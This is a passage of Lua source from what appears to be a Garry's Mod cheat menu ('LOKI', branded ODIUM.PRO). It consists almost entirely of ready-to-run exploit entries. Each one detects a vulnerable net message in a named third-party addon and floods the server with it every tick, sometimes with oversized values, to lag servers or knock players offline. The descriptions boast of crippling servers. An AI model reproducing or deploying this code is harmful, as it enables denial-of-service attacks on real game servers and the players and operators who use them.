5224 bools = {enabled = false},
5225 status = 1,
5226 times_per_tick = math.huge,
5227 scan = function() return LOKI.ValidNetString( "rprotect_terminal_settings" ) end,
5228 hooks = {
5229 Think = function(tbl, sploit)
5230 LOKI.NetStart( sploit, "rprotect_terminal_settings" )
5231 net.SendToServer()
5232 end,
5233 },
5234 functions = {
5235 { typ = "bool", },
5236 },
5237} )
5238LOKI.AddExploit( "Lagsploit", {
5239 desc = "Causes more lag on servers already lagging",
5240 severity = 90,
5241 bools = {enabled = false},
5242 status = 1,
5243 times_per_tick = math.huge,
5244 scan = function() return LOKI.ValidNetString( "StackGhost" ) end,
5245 hooks = {
5246 Think = function(tbl, sploit)
5247 LOKI.NetStart( sploit, "StackGhost" )
5248 net.WriteInt(0xFFFFFFFF,32)
5249 net.SendToServer()
5250 end,
5251 },
5252 functions = {
5253 { typ = "bool", },
5254 },
5255} )
5256LOKI.AddExploit( "Lagsploit", {
5257 desc = "Instantly brings large servers to a crawl",
5258 severity = 100,
5259 bools = {enabled = false},
5260 status = 1,
5261 times_per_tick = math.huge,
5262 scan = function() return LOKI.ValidNetString( "tbfy_surrender" ) end,
5263 hooks = {
5264 Think = function(tbl, sploit)
5265 LOKI.NetStart( sploit, "tbfy_surrender")
5266 net.SendToServer()
5267 end,
5268 },
5269 functions = {
5270 { typ = "bool", },
5271 },
5272} )
5273LOKI.AddExploit( "Lagsploit", {
5274 desc = "Creates a lot of lag",
5275 severity = 95,
5276 bools = {enabled = true},
5277 status = 1,
5278 msgs_per_tick = LOKI.GetEnabledCount,
5279 times_per_tick = math.huge,
5280 scan = function() return LOKI.DynamicNetString( "RXCar" ) end,
5281 hooks = {
5282 Think = function(tbl, sploit)
5283 LOKI.MultiSend(sploit)
5284 end,
5285 },
5286 functions = {
5287 { typ = "bools", tbl = {"RXCar_BuyCar_C2S", "RXCAR_UpdateINVCar_C2S", "RXCAR_Shop_Store_C2S", "RXCAR_Shop_Sell_C2S", "RXCAR_RespawnINV_C2S", "RXCAR_SellINVCar_C2S", "RXCAR_Shop_Buy_C2S", "RXCAR_RequestTuneData_C2S"}}
5288 },
5289} )
5290LOKI.AddExploit( "Lagsploit", {
5291 desc = "Creates a lot of lag",
5292 severity = 90,
5293 bools = {enabled = false},
5294 status = 2,
5295 times_per_tick = math.huge,
5296 scan = function() return LOKI.ValidNetString( "NewReport" ) end,
5297 hooks = {
5298 Think = function(tbl, sploit)
5299 LOKI.NetStart( sploit, "NewReport" )
5300 net.SendToServer()
5301 end,
5302 },
5303 functions = {
5304 { typ = "bool", },
5305 },
5306} )
5307LOKI.AddExploit( "Client Lagger", {
5308 desc = "Causes ALL players to lag out",
5309 severity = 100,
5310 bools = {enabled = false},
5311 status = 1,
5312 msgs_per_tick = 2,
5313 times_per_tick = math.huge,
5314 prevalidated = true,
5315 scan = function() local num = LOKI.RecursiveGetVar(CF, {"FlipPriceMinimum"}, "number") return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end, --&& isnumber(num) && num <= 0 end,
5316 hooks = {
5317 Think = function(tbl, sploit)
5318 LOKI.NetStart( sploit, "CFCreateGame" )
5319 net.WriteFloat( 0 )
5320 net.WriteFloat( 0 )
5321 net.SendToServer()
5322 end,
5323 net = {
5324 Receive = function(sploit, strName)
5325 if(strName == "CFAnnounce") then
5326 return false
5327 end
5328 end,
5329 },
5330 },
5331 functions = {
5332 { typ = "bool", },
5333 },
5334} )
5335LOKI.AddExploit( "Client Lagger", {
5336 desc = "Causes players to lag out",
5337 severity = 100,
5338 bools = {enabled = false},
5339 status = 1,
5340 msgs_per_tick = function(sploit) return #LOKI.GetStored( "clagger1_plyz", {} ) end,
5341 times_per_tick = math.huge,
5342 scan = function() return LOKI.ValidNetString( "PrtToPlayers" ) end,
5343 hooks = {
5344 Think = function(tbl, sploit)
5345 for k, v in ipairs(LOKI.GetStored( "clagger1_plyz", {} )) do
5346 if IsValid(v) then
5347 LOKI.NetStart( sploit, "PrtToPlayers" )
5348 net.WriteEntity(v)
5349 net.SendToServer()
5350 end
5351 end
5352 end,
5353 },
5354 functions = {
5355 { typ = "players", addr = "clagger1_plyz" },
5356 { typ = "bool", },
5357 },
5358} )
5359LOKI.AddExploit( "Client Lagger", {
5360 desc = "Mom get off the phone I'm trying to play Runescape!",
5361 severity = 100,
5362 bools = {enabled = false},
5363 status = 1,
5364 times_per_tick = math.huge,
5365 scan = function() return LOKI.ValidNetString("scoreboard.country") end,
5366 hooks = {
5367 Think = function(tbl, sploit)
5368 LOKI.NetStart(sploit, "scoreboard.country")
5369 net.WriteString(system.GetCountry())
5370 net.SendToServer()
5371 end,
5372 net = {
5373 Receive = function(sploit, strName)
5374 if(strName == "scoreboard.country") then
5375 return false
5376 end
5377 end,
5378 },
5379 },
5380 functions = {
5381 { typ = "bool", },
5382 },
5383} )
5384LOKI.AddExploit( "Client Lagger", {
5385 desc = "Dial-up internet bro!",
5386 severity = 100,
5387 bools = {enabled = false},
5388 status = 1,
5389 times_per_tick = math.huge,
5390 scan = function() return LOKI.ValidNetString("gMining.registerWeapon") end,
5391 hooks = {
5392 Think = function(tbl, sploit)
5393 LOKI.NetStart(sploit, "gMining.registerWeapon")
5394 net.WriteTable({})
5395 net.SendToServer()
5396 end,
5397 },
5398 functions = {
5399 { typ = "bool", },
5400 },
5401} )
5402LOKI.AddExploit( "Client Lagger", {
5403 desc = "Dab on the players",
5404 severity = 100,
5405 bools = {enabled = false},
5406 status = 2,
5407 times_per_tick = math.huge,
5408 scan = function() return LOKI.ValidNetString("JukeBox_PlayersTunedIn") end,
5409 hooks = {
5410 Think = function(tbl, sploit)
5411 LOKI.NetStart(sploit, "JukeBox_PlayersTunedIn")
5412 net.SendToServer()
5413 end,
5414 },
5415 functions = {
5416 { typ = "bool", },
5417 },
5418} )
5419LOKI.AddExploit( "Client Lagger", {
5420 desc = "Remind everyone what it feels like to game on a notebook",
5421 severity = 100,
5422 bools = {enabled = false},
5423 status = 1,
5424 times_per_tick = math.huge,
5425 scan = function() return LOKI.ValidNetString("pac_to_contraption") end,
5426 hooks = {
5427 Think = function(tbl, sploit)
5428 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "tbl"}, "table", true)
5429 if(!tbl || #tbl == 0) then
5430 for i=1,60 do
5431 tbl[#tbl + 1] = {id = i, mdl = "models/error.mdl", pos = Vector(0,0,0), ang = Angle(0,0,0), clr = Color(0,0,0), skn = 0}
5432 end
5433 end
5434 LOKI.NetStart( sploit, "pac_to_contraption" )
5435 net.WriteTable( tbl )
5436 net.SendToServer()
5437 end,
5438 },
5439 functions = {
5440 { typ = "bool", },
5441 },
5442} )
5443LOKI.AddExploit( "Client Lagger", {
5444 desc = "Lag out all nearby players",
5445 severity = 100,
5446 bools = {enabled = false},
5447 status = 1,
5448 times_per_tick = math.huge,
5449 prevalidated = true,
5450 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && istable(BODYMAN)) end,
5451 hooks = {
5452 Think = function(tbl, sploit)
5453 LOKI.NetStart( sploit, "bodyman_model_change")
5454 net.WriteInt( 0, 8 )
5455 net.SendToServer()
5456 end,
5457 },
5458 functions = {
5459 { typ = "bool", },
5460 },
5461} )
5462LOKI.AddExploit( "Client Lagger", {
5463 desc = "Mom get off the phone I'm trying to play Runescape!",
5464 severity = 100,
5465 bools = {enabled = false},
5466 status = 1,
5467 times_per_tick = math.huge,
5468 prevalidated = true,
5469 scan = function() return LOKI.ValidNetString("GotCountry") && istable(playerCountryTable) end,
5470 hooks = {
5471 Think = function(tbl, sploit)
5472 LOKI.NetStart(sploit, "GotCountry")
5473 net.WriteString(LOKI.GetStored("clc1", system.GetCountry()))
5474 net.SendToServer()
5475 end,
5476 net = {
5477 Receive = function(sploit, strName)
5478 if(strName == "CountryToTable") then
5479 return false
5480 end
5481 end,
5482 },
5483 },
5484 functions = {
5485 { typ = "bool", },
5486 { typ = "string", Name = "Country (ISO 3166-1)", default = system.GetCountry(), addr = "clc1" },
5487 },
5488} )
5489LOKI.AddExploit( "Lagsploit", {
5490 desc = "Causes lag and bombs the server console",
5491 severity = 95,
5492 bools = {enabled = false},
5493 status = 1,
5494 times_per_tick = math.huge,
5495 scan = function() return LOKI.ValidNetString( "steamid2" ) end,
5496 hooks = {
5497 Think = function(tbl, sploit)
5498 LOKI.NetStart( sploit, "steamid2" )
5499 net.WriteString( "ODIUM.PRO > ALL" )
5500 net.SendToServer()
5501 end,
5502 },
5503 functions = {
5504 { typ = "bool", },
5505 },
5506} )
5507LOKI.AddExploit( "Lagsploit", {
5508 desc = "Poison the server",
5509 severity = 95,
5510 bools = {enabled = false},
5511 status = 1,
5512 times_per_tick = math.huge,
5513 scan = function() return LOKI.ValidNetString( "start_alch" ) end,
5514 hooks = {
5515 Think = function(tbl, sploit)
5516 LOKI.NetStart( sploit, "start_alch")
5517 net.SendToServer()
5518 end,
5519 },
5520 functions = {
5521 { typ = "bool", },
5522 },
5523} )
5524LOKI.AddExploit( "Lagsploit", {
5525 desc = "OMG DDOS!?!?",
5526 severity = 95,
5527 bools = {enabled = true},
5528 status = 1,
5529 msgs_per_tick = LOKI.GetEnabledCount,
5530 times_per_tick = math.huge,
5531 scan = function() return LOKI.DynamicNetString( "netKeycard" ) || LOKI.DynamicNetString( "netFKeycard" ) end,
5532 hooks = {
5533 Think = function(tbl, sploit)
5534 LOKI.MultiSend(sploit, function()
5535 net.WriteEntity(LOKI.GetLP())
5536 end)
5537 end,
5538 },
5539 functions = {
5540 { typ = "bools", tbl = {"netFKeycardAdminSpawn", "netFKeycardSpawn", "netFKeycardHackSpawn", "netFKeycardSAddLevel", "netFKeycardSRemoveLevel", "netKeycardSAddPlayer", "netKeycardSRemovePlayer", "netKeycardSpawn", "netKeycardHackSpawn", "netKeycardAdminSpawn"}}
5541 },
5542} )
5543LOKI.AddExploit( "Lagsploit", {
5544 desc = "Few second lag spikes at best but could probably cripple some smaller servers",
5545 severity = 90,
5546 bools = {enabled = false},
5547 status = 1,
5548 times_per_tick = math.huge,
5549 scan = function() return LOKI.ValidNetString( "ctOS-Box-Hacked" ) end,
5550 hooks = {
5551 Think = function(tbl, sploit)
5552 LOKI.NetStart( sploit, "ctOS-Box-Hacked")
5553 net.WriteEntity(LOKI.GetLP())
5554 net.SendToServer()
5555 end,
5556 },
5557 functions = {
5558 { typ = "bool", },
5559 },
5560} )
5561LOKI.AddExploit( "Lagsploit", {
5562 desc = "Meant to cause excessive lag but ends up just overflowing local host, needs work",
5563 severity = 50,
5564 bools = {enabled = false},
5565 status = 1,
5566 times_per_tick = math.huge,
5567 vars = {},
5568 scan = function() return LOKI.ValidNetString( "ViewClaims" ) end,
5569 hooks = {
5570 Think = function(tbl, sploit)
5571 LOKI.NetStart( sploit, "ViewClaims")
5572 net.SendToServer()
5573 end,
5574 net = {
5575 Receive = function(sploit, strName)
5576 if(strName == "ViewClaims") then
5577 return false
5578 end
5579 end,
5580 },
5581 },
5582 functions = {
5583 { typ = "bool", },
5584 },
5585} )
5586/*local pModel = 0;
5587LOKI.AddExploit( "Lagsploit", {
5588 desc = "Causes lag as well as either T-Posing you or breaking your anims",
5589 severity = 90,
5590 bools = {enabled = false},
5591 status = 1,
5592 times_per_tick = math.huge,
5593 prevalidated = true,
5594 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && LOKI.GetLP().getJobTable != nil) end,
5595 hooks = {
5596 Think = function(tbl, sploit)
5597 local job = LOKI.GetLP():getJobTable()
5598 local playermodels = job.model
5599 if pModel < #playermodels then
5600 pModel = pModel + 1
5601 LOKI.NetStart( sploit, "bodyman_model_change")
5602 net.WriteInt( pModel, 8 )
5603 net.SendToServer()
5604 else
5605 pModel = 0
5606 end
5607 end,
5608 },
5609 functions = {
5610 { typ = "bool", },
5611 },
5612} )*/
5613LOKI.AddExploit( "Lagsploit", {
5614 desc = "Drag the server to it's knees",
5615 severity = 100,
5616 bools = {enabled = false},
5617 status = 1,
5618 times_per_tick = math.huge,
5619 scan = function() return LOKI.ValidNetString( "DW_GUNLAB_UPDATEORB" ) end,
5620 hooks = {
5621 Think = function(tbl, sploit)
5622 LOKI.NetStart( sploit, "DW_GUNLAB_UPDATEORB")
5623 for i = 1, 4 do
5624 net.WriteInt(i,4)
5625 end
5626 net.WriteInt(LOKI.GetLP():EntIndex(), 32)
5627 net.SendToServer()
5628 end,
5629 },
5630 functions = {
5631 { typ = "bool", },
5632 },
5633} )
5634LOKI.AddExploit( "Lagsploit", {
5635 desc = "Relatively strong exploit, can cause 5-10 second spikes",
5636 severity = 90,
5637 bools = {enabled = false},
5638 status = 1,
5639 times_per_tick = math.huge,
5640 scan = function() return LOKI.ValidNetString( "DW_PLAYSONG" ) end,
5641 hooks = {
5642 Think = function(tbl, sploit)
5643 LOKI.NetStart( sploit, "DW_PLAYSONG")
5644 net.SendToServer()
5645 end,
5646 },
5647 functions = {
5648 { typ = "bool", },
5649 },
5650} )
5651LOKI.AddExploit( "Lagsploit", {
5652 desc = "Imagine playing on a server in China while torrenting",
5653 severity = 90,
5654 bools = {enabled = false},
5655 status = 1,
5656 times_per_tick = math.huge,
5657 scan = function() return LOKI.ValidNetString( "selfportrait_idonthavehands" ) end,
5658 hooks = {
5659 Think = function(tbl, sploit)
5660 LOKI.NetStart( sploit, "selfportrait_idonthavehands")
5661 net.SendToServer()
5662 end,
5663 },
5664 functions = {
5665 { typ = "bool", },
5666 },
5667} )
5668LOKI.AddExploit( "Lagsploit", {
5669 desc = "Causes some pretty hectic spikes",
5670 severity = 90,
5671 bools = {enabled = false},
5672 status = 1,
5673 times_per_tick = math.huge,
5674 scan = function() return LOKI.ValidNetString( "dw_toggle_item" ) end,
5675 hooks = {
5676 Think = function(tbl, sploit)
5677 LOKI.NetStart( sploit, "dw_toggle_item")
5678 net.SendToServer()
5679 end,
5680 },
5681 functions = {
5682 { typ = "bool", },
5683 },
5684} )
5685LOKI.AddExploit( "Lagsploit", {
5686 desc = "Few seconds of lag at a time, just enough to be annoying",
5687 severity = 90,
5688 bools = {enabled = false},
5689 status = 1,
5690 times_per_tick = math.huge,
5691 scan = function() return LOKI.ValidNetString( "tupacBail.bailPlayer" ) end,
5692 hooks = {
5693 Think = function(tbl, sploit)
5694 LOKI.NetStart( sploit, 'tupacBail.bailPlayer' )
5695 net.SendToServer()
5696 end,
5697 },
5698 functions = {
5699 { typ = "bool", },
5700 },
5701} )
5702LOKI.AddExploit( "Lagsploit", {
5703 desc = "Fill the servers vulnerable little holes",
5704 severity = 95,
5705 bools = {enabled = false},
5706 status = 1,
5707 times_per_tick = math.huge,
5708 prevalidated = true,
5709 scan = function() return (ulx && ulx.friends && LOKI.ValidNetString( "sendtable" )) end,
5710 hooks = {
5711 Think = function(tbl, sploit)
5712 LOKI.NetStart( sploit, "sendtable" )
5713 net.SendToServer()
5714 end,
5715 },
5716 functions = {
5717 { typ = "bool", },
5718 },
5719} )
5720LOKI.AddExploit( "Lagsploit", {
5721 desc = "Brutalize the poor unsuspecting server",
5722 severity = 100,
5723 bools = {enabled = false},
5724 status = 1,
5725 times_per_tick = math.huge,
5726 scan = function() return LOKI.ValidNetString( "vloot_pickup_request" ) end,
5727 hooks = {
5728 Think = function(tbl, sploit)
5729 LOKI.NetStart( sploit, "vloot_pickup_request" )
5730 net.SendToServer()
5731 end,
5732 },
5733 functions = {
5734 { typ = "bool", },
5735 },
5736} )
5737LOKI.AddExploit( "Lagsploit", {
5738 desc = "Remember kids, always trust the client",
5739 severity = 90,
5740 bools = {enabled = false},
5741 status = 1,
5742 times_per_tick = math.huge,
5743 scan = function() return LOKI.ValidNetString( "disguise" ) end,
5744 hooks = {
5745 Think = function(tbl, sploit)
5746 LOKI.NetStart( sploit, "disguise" )
5747 net.WriteInt(0xFFFFFFFF, 32)
5748 net.SendToServer()
5749 end,
5750 },
5751 functions = {
5752 { typ = "bool", },
5753 },
5754} )
5755LOKI.AddExploit( "Lagsploit", {
5756 desc = "Brew a 0xFFFFFFFF potion",
5757 severity = 95,
5758 bools = {enabled = false},
5759 status = 1,
5760 times_per_tick = math.huge,
5761 scan = function() return LOKI.ValidNetString( "NET_AM_MakePotion" ) end,
5762 hooks = {
5763 Think = function(tbl, sploit)
5764 LOKI.NetStart( sploit, "NET_AM_MakePotion" )
5765 net.SendToServer()
5766 end,
5767 },
5768 functions = {
5769 { typ = "bool", },
5770 },
5771} )
5772LOKI.AddExploit( "Lagsploit", {
5773 desc = "Pew pew",
5774 severity = 90,
5775 bools = {enabled = false},
5776 status = 2,
5777 times_per_tick = math.huge,
5778 scan = function() return LOKI.ValidNetString( "orgcheckname" ) end,
5779 hooks = {
5780 Think = function(tbl, sploit)
5781 LOKI.NetStart( sploit, "orgcheckname" )
5782 net.WriteString("ODIUM.PRO")
5783 net.SendToServer()
5784 end,
5785 },
5786 functions = {
5787 { typ = "bool", },
5788 },
5789} )
5790LOKI.AddExploit( "Lagsploit", {
5791 desc = "Old but should still work",
5792 severity = 90,
5793 bools = {enabled = false},
5794 status = -1,
5795 times_per_tick = math.huge,
5796 scan = function() return LOKI.ValidNetString( "dLogsGetCommand" ) end,
5797 hooks = {
5798 Think = function(tbl, sploit)
5799 LOKI.NetStart( sploit, "dLogsGetCommand" )
5800 net.WriteTable({cmd="+forward", args="ODIUM.PRO"})
5801 net.SendToServer()
5802 end,
5803 },
5804 functions = {
5805 { typ = "bool", },
5806 },
5807} )
5808LOKI.AddExploit( "Lagsploit", {
5809 desc = "Same shit, different smell",
5810 severity = 95,
5811 bools = {enabled = true},
5812 status = 1,
5813 msgs_per_tick = LOKI.GetEnabledCount,
5814 times_per_tick = math.huge,
5815 scan = function() return LOKI.DynamicNetString( "ItemStore" ) end,
5816 hooks = {
5817 Think = function(tbl, sploit)
5818 LOKI.MultiSend(sploit, function()
5819 net.WriteEntity(LOKI.GetLP())
5820 end)
5821 end,
5822 },
5823 functions = {
5824 { typ = "bools", tbl = {"ItemStoreSyncItem", "ItemStoreMerge", "ItemStoreUse", "ItemStoreSplit", "ItemStoreSyncItem2"}}
5825 },
5826} )
5827LOKI.AddExploit( "Lagsploit", {
5828 desc = "This addon has quite a few exploits",
5829 severity = 90,
5830 bools = {enabled = false},
5831 status = 1,
5832 times_per_tick = math.huge,
5833 scan = function() return LOKI.ValidNetString( "ats_send_toServer" ) end,
5834 hooks = {
5835 Think = function(tbl, sploit)
5836 LOKI.NetStart( sploit, "ats_send_toServer")
5837 net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
5838 net.SendToServer()
5839 end,
5840 },
5841 functions = {
5842 { typ = "bool", },
5843 },
5844} )
5845LOKI.AddExploit( "Lagsploit", {
5846 desc = "I swear these devs couldn't code to save their lives",
5847 severity = function() return math.Clamp(player.GetCount(), 1, 100) end,
5848 bools = {enabled = false},
5849 status = 1,
5850 times_per_tick = math.huge,
5851 scan = function() return LOKI.ValidNetString( "TFA_Attachment_RequestAll" ) end,
5852 hooks = {
5853 Think = function(tbl, sploit)
5854 LOKI.NetStart( sploit, "TFA_Attachment_RequestAll")
5855 net.SendToServer()
5856 end,
5857 },
5858 functions = {
5859 { typ = "bool", },
5860 },
5861} )
5862LOKI.AddExploit( "Lagsploit", {
5863 desc = "Console: cries internally",
5864 severity = 90,
5865 bools = {enabled = false},
5866 status = 1,
5867 times_per_tick = math.huge,
5868 scan = function() return LOKI.ValidNetString( "NDES_SelectedEmblem" ) end,
5869 hooks = {
5870 Think = function(tbl, sploit)
5871 LOKI.NetStart( sploit, "NDES_SelectedEmblem")
5872 net.WriteString("ODIUM.PRO")
5873 net.SendToServer()
5874 end,
5875 },
5876 functions = {
5877 { typ = "bool", },
5878 },
5879} )
5880LOKI.AddExploit( "Lagsploit", {
5881 desc = "ODIUM.PRO isn't a valid organisation",
5882 severity = 90,
5883 bools = {enabled = false},
5884 status = -1,
5885 times_per_tick = math.huge,
5886 scan = function() return LOKI.ValidNetString( "JoinOrg" ) end,
5887 hooks = {
5888 Think = function(tbl, sploit)
5889 LOKI.NetStart( sploit, "JoinOrg")
5890 net.WriteEntity(LOKI.GetLP())
5891 net.WriteString("ODIUM.PRO")
5892 net.SendToServer()
5893 end,
5894 },
5895 functions = {
5896 { typ = "bool", },
5897 },
5898} )
5899LOKI.AddExploit( "Lagsploit", {
5900 desc = "Something is creating very strong script errors",
5901 severity = 90,
5902 bools = {enabled = false},
5903 status = 1,
5904 times_per_tick = math.huge,
5905 scan = function() return LOKI.ValidNetString( "steamid50" ) end,
5906 hooks = {
5907 Think = function(tbl, sploit)
5908 LOKI.NetStart( sploit, "steamid50")
5909 net.WriteString("Something is creating very strong script errors")
5910 net.SendToServer()
5911 end,
5912 },
5913 functions = {
5914 { typ = "bool", },
5915 },
5916} )
5917LOKI.AddExploit( "Lagsploit", {
5918 desc = "This function is very inefficient for large tables and should probably not be called in things that run each frame",
5919 severity = 90,
5920 bools = {enabled = false},
5921 status = 1,
5922 times_per_tick = math.huge,
5923 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
5924 hooks = {
5925 Think = function(tbl, sploit)
5926 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
5927 net.WriteEntity(LOKI.GetLP())
5928 net.SendToServer()
5929 end,
5930 },
5931 functions = {
5932 { typ = "bool", },
5933 },
5934} )
5935LOKI.AddExploit( "Lagsploit", {
5936 desc = "Another of the same",
5937 severity = 95,
5938 bools = {enabled = false},
5939 status = 1,
5940 times_per_tick = math.huge,
5941 scan = function() return LOKI.ValidNetString( "metrostroi-specbutton-press" ) end,
5942 hooks = {
5943 Think = function(tbl, sploit)
5944 LOKI.NetStart( sploit, "metrostroi-specbutton-press")
5945 net.SendToServer()
5946 end,
5947 },
5948 functions = {
5949 { typ = "bool", },
5950 },
5951} )
5952/*LOKI.AddExploit( "Lagsploit", {
5953 desc = "Causes decent lag but requires being near a wire keypad",
5954 severity = 95,
5955 bools = {enabled = false},
5956 status = 1,
5957 msgs_per_tick = function(sploit)
5958 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)
5959 LOKI.SetTableContents(tbl, LOKI.GetVarTable(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 50), "GetClass", LOKI.TYPEVARS.EQUALTO, "gmod_wire_keypad"))
5960 return #tbl
5961 end,
5962 times_per_tick = math.huge,
5963 scan = function() return LOKI.ValidNetString( "wire_keypad" ) end,
5964 hooks = {
5965 Think = function(tbl, sploit)
5966 for k, v in ipairs(LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)) do
5967 LOKI.NetStart( sploit, "wire_keypad")
5968 net.WriteEntity(v)
5969 net.WriteUInt(10, 4)
5970 net.SendToServer()
5971 end
5972 end,
5973 },
5974 functions = {
5975 { typ = "bool", },
5976 },
5977} )*/ --Doesn't work but good example of function usage
5978LOKI.AddExploit( "Lagsploit", {
5979 desc = "Hack the mainframe",
5980 severity = 95,
5981 bools = {enabled = false},
5982 status = 1,
5983 times_per_tick = math.huge,
5984 scan = function() return LOKI.ValidNetString("friendlist") end,
5985 hooks = {
5986 Think = function(tbl, sploit)
5987 LOKI.NetStart( sploit, "friendlist" )
5988 net.SendToServer()
5989 end,
5990 },
5991 functions = {
5992 { typ = "bool", },
5993 },
5994} )
5995LOKI.AddExploit( "Lagsploit", {
5996 desc = "Yes, I am many people",
5997 severity = 90,
5998 bools = {enabled = false},
5999 status = 3,
6000 msgs_per_tick = function(sploit) return #LOKI.GetStored( "jdc_plyz", {} ) end,
6001 times_per_tick = math.huge,
6002 scan = function() return LOKI.ValidNetString("join_disconnect") end,
6003 hooks = {
6004 Think = function(tbl, sploit)
6005 for k, v in ipairs(LOKI.GetStored( "jdc_plyz", {} )) do
6006 if IsValid(v) then
6007 LOKI.NetStart( sploit, "join_disconnect" )
6008 net.WriteEntity(v)
6009 net.SendToServer()
6010 end
6011 end
6012 end,
6013 },
6014 functions = {
6015 { typ = "players", addr = "jdc_plyz" },
6016 { typ = "bool", },
6017 },
6018} )
6019LOKI.AddExploit( "Lagsploit", {
6020 desc = "Win every HvH",
6021 severity = 95,
6022 bools = {enabled = false},
6023 status = 1,
6024 times_per_tick = math.huge,
6025 scan = function() return LOKI.ValidNetString( "hvh_setloadout" ) end,
6026 hooks = {
6027 Think = function(tbl, sploit)
6028 LOKI.NetStart( sploit, "hvh_setloadout")
6029 net.SendToServer()
6030 end,
6031 },
6032 functions = {
6033 { typ = "bool", },
6034 },
6035} )
6036LOKI.AddExploit( "Lagsploit", {
6037 desc = "Slay the Titan",
6038 severity = 95,
6039 bools = {enabled = false},
6040 status = 2,
6041 times_per_tick = math.huge,
6042 scan = function() return LOKI.ValidNetString( "Cl_PrometheusRequest" ) end,
6043 hooks = {
6044 Think = function(tbl, sploit)
6045 LOKI.NetStart( sploit, "Cl_PrometheusRequest")
6046 net.SendToServer()
6047 end,
6048 },
6049 functions = {
6050 { typ = "bool", },
6051 },
6052} )
6053LOKI.AddExploit( "Lagsploit", {
6054 desc = "This guy really needs to stop selling his scripts",
6055 severity = 95,
6056 bools = {enabled = true},
6057 status = 1,
6058 msgs_per_tick = LOKI.GetEnabledCount,
6059 times_per_tick = math.huge,
6060 scan = function() return LOKI.DynamicNetString( "CRAFTINGMOD" ) || LOKI.DynamicNetString( "FARMINGMOD" ) || LOKI.DynamicNetString( "FISHINGMOD" ) || LOKI.DynamicNetString( "bicyclemod" ) end,
6061 hooks = {
6062 Think = function(tbl, sploit)
6063 LOKI.MultiSend(sploit, {
6064 ["bicyclemod_sell_bicycle"] = function()
6065 net.WriteEntity(LOKI.GetLP())
6066 end,
6067 ["bicyclemod_store_bicycle"] = function()
6068 net.WriteEntity(LOKI.GetLP())
6069 end,
6070 ["bicyclemod_create_bicycle"] = function()
6071 net.WriteTable({})
6072 net.WriteEntity(LOKI.GetLP())
6073 end,
6074 })
6075 end,
6076 },
6077 functions = {
6078 {
6079 typ = "bools",
6080 tbl = {"CRAFTINGMOD_INVENTORY", "CRAFTINGMOD_SHOP", "CRAFTINGMOD_STORAGE", "CRAFTINGMOD_TRADING", "CRAFTINGMOD_MOVE", "CRAFTINGMOD_LEVELS", "CRAFTINGMOD_ADMIN", "CRAFTINGMOD_COMMANDS", "FARMINGMOD_ADMIN", "FARMINGMOD_HARVEST", "FARMINGMOD_ADDITEM", "FARMINGMOD_HARVEST", "FARMINGMOD_USE", "FARMINGMOD_DROPITEM", "FARMINGMOD_SELLITEM", "FARMINGMOD_PLANTOPTION", "FARMINGMOD_BUYITEM", "bicyclemod_create_bicycle", "bicyclemod_sell_bicycle", "bicyclemod_store_bicycle", "FISHINGMOD_ADMIN", "FISHINGMOD_BAIT", "FISHINGMOD_INVENTORY"}
6081 }
6082 },
6083} )
6084LOKI.AddExploit( "Lagsploit", {
6085 desc = "Looks like someone didn't attend their classes",
6086 severity = 95,
6087 bools = {enabled = false},
6088 status = 2,
6089 times_per_tick = math.huge,
6090 scan = function() return LOKI.ValidNetString( "AdvDupe2_CanAutoSave" ) end,
6091 hooks = {
6092 Think = function(tbl, sploit)
6093 LOKI.NetStart( sploit, "AdvDupe2_CanAutoSave")
6094 net.SendToServer()
6095 end,
6096 },
6097 functions = {
6098 { typ = "bool", },
6099 },
6100} )
6101LOKI.AddExploit( "Lagsploit", {
6102 desc = "Dab on the server",
6103 severity = 95,
6104 bools = {enabled = false},
6105 status = 3,
6106 times_per_tick = math.huge,
6107 scan = function() return LOKI.ValidNetString( "sphys_dupe" ) end,
6108 hooks = {
6109 Think = function(tbl, sploit)
6110 LOKI.NetStart( sploit, "sphys_dupe")
6111 net.SendToServer()
6112 end,
6113 },
6114 functions = {
6115 { typ = "bool", },
6116 },
6117} )
6118LOKI.AddExploit( "Lagsploit", {
6119 desc = "Another one bites the dust",
6120 severity = 95,
6121 bools = {enabled = true},
6122 status = 1,
6123 msgs_per_tick = LOKI.GetEnabledCount,
6124 times_per_tick = math.huge,
6125 scan = function() return WireLib != nil end,
6126 hooks = {
6127 Think = function(tbl, sploit)
6128 LOKI.MultiSend(sploit)
6129 end,
6130 },
6131 functions = {
6132 { typ = "bools", tbl = {"wire_expression2_request_file", "wire_adv_upload", "wire_expression2_request_list", "wire_adv_unwire", "wire_expression2_client_request_set_extension_status"}}
6133 },
6134} )
6135LOKI.AddExploit( "Lagsploit", {
6136 desc = "Remind the server to download more RAM",
6137 severity = 95,
6138 bools = {enabled = false},
6139 status = 2,
6140 times_per_tick = math.huge,
6141 scan = function() return LOKI.ValidNetString( "pp_info_send" ) end,
6142 hooks = {
6143 Think = function(tbl, sploit)
6144 LOKI.NetStart( sploit, "pp_info_send")
6145 net.SendToServer()
6146 end,
6147 },
6148 functions = {
6149 { typ = "bool", },
6150 },
6151} )
6152LOKI.AddExploit( "Lagsploit", {
6153 desc = "My mom says I'm beautiful in my own way *sits on server*",
6154 severity = 95,
6155 bools = {enabled = true},
6156 status = 1,
6157 msgs_per_tick = LOKI.GetEnabledCount,
6158 times_per_tick = math.huge,
6159 scan = function() return LOKI.DynamicNetString("Prop2Mesh") end,
6160 hooks = {
6161 Think = function(tbl, sploit)
6162 LOKI.MultiSend(sploit)
6163 end,
6164 },
6165 functions = {
6166 { typ = "bools", tbl = {"Prop2MeshPostRemove", "Prop2MeshUpdateNWs"}}
6167 },
6168} )
6169LOKI.AddExploit( "Lagsploit", {
6170 desc = "*nuzzles server*",
6171 severity = 95,
6172 bools = {enabled = true},
6173 status = 1,
6174 msgs_per_tick = LOKI.GetEnabledCount,
6175 times_per_tick = math.huge,
6176 scan = function() return istable(TeamTable) end,
6177 hooks = {
6178 Think = function(tbl, sploit)
6179 LOKI.MultiSend(sploit)
6180 end,
6181 },
